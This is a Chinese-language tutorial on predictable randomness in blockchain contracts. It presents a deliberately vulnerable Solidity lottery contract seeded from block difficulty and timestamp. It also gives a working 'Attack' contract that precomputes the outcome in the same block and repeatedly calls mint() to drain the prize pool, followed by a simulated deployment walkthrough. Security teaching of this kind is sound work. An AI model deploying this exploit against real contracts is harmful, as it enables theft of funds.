随机数攻击
区块链中的随机数大部分时使用链上的信息(例如区块时间戳、区块难度或者未来区块哈希等等)作为随机数种子来生成随机数,但是区块链桑的信息时公开透明的,一旦被发现作为随机数种子的信息与生成随机数的算法后,攻击者就能利用这些信息对合约生成的随机数进行预测,以此进行攻击.
合约解析
pragma solidity ^0.8.0;
// 漏洞合约 contract Random { event Log(string); mapping (uint256 => bool) tokenId_luckys;
// 生成随机数确定是否中奖,如果中奖则转账给中奖者 function mint() public payable { //...... // 获取随机数,确定是否中奖 bool randLucky = _getRandom(); uint256 token_Id = _totalMinted(); tokenId_luckys[token_Id] = randLucky; if (tokenId_luckys[token_Id] == true){ /* // 原始代码:中奖逻辑,中奖者奖励1.9倍 require(payable(msg.sender).send((price * 190) / 100)); require(payable(widthdrawAddress).send((price * 10) / 100)); */
// 测试代码 bool ok = payable(msg.sender).send(1 ether); if ( !ok ){ } } }
function _getRandom() private view returns(bool){ // 漏洞代码!!!!!! uint256 random = uint256(keccak256(abi.encodePacked(block.difficulty,block.timestamp)));
uint256 rand = random % 2; if(rand == 0){ return false; } else { return true; } } // 查看奖池余额 function getBalance() external view returns(uint256) { return address(this).balance; }
function _totalMinted() private pure returns(uint256) { return 1; }
// 设置部署时可以转入 eth constructor() payable{} }
// 攻击合约 contract Attack { event Log(string);
// 攻击目标合约,参数是目标合约地址 function attack(address _random) external payable { for (;;) { // 判断攻击目标合约的余额,如果小于 1 个 ether,表示取光,就返回 if (payable(_random).balance < 1) { emit Log("succeeded getting eth"); return; } // 计算由当前区块的难度值和时间戳产生的哈希值,用作随机数 // 如果随机数是偶数,表示本区块不会中奖,先返回,等待下一个区块 if(uint256(keccak256(abi.encodePacked(block.difficulty,block.timestamp))) % 2 == 0) { emit Log("failed to get rand, wait 10 seconds"); return; }
// 如果随机数是奇数,表示已经中奖,那么立刻调用攻击目标的mint函数,获取奖励 (bool ok,) = _random.call(abi.encodeWithSignature("mint()")); if( !ok ){ emit Log("failed to call mint()"); return; } } }
// 查看获利余额 function getBalance() external view returns(uint256) { return address(this).balance; }
// 接收攻击获得的Eth receive() external payable {} }
|
漏洞合约中,使用block.difficulty,block.timestamp
即,区块的难度值和区块的时间戳,并且可知判断计算出来的随机数若为奇数则能返回true
.
在Attack
合约中进行攻击时已经传入Random
的合约地址,两个合约运行在同一个区块中,各种区块特征值都是一样的,于是可以先计算出随机值,判断是否为奇数,然后再调用Random
合约的“抽奖函数”.
执行攻击时,有些区块的特征值计算出来并不符合条件,因此可能需要等待新的区块产生后再执行攻击.
模拟攻击
先部署Random
合约,同时带上20个eth
.
image-20230508163318709
image-20230508164823084
再部署Attack
合约,不需要eth
image-20230508165052172
然后点击attack
,执行攻击函数
image-20230508165626029
可以看到执行了几次才成功攻击.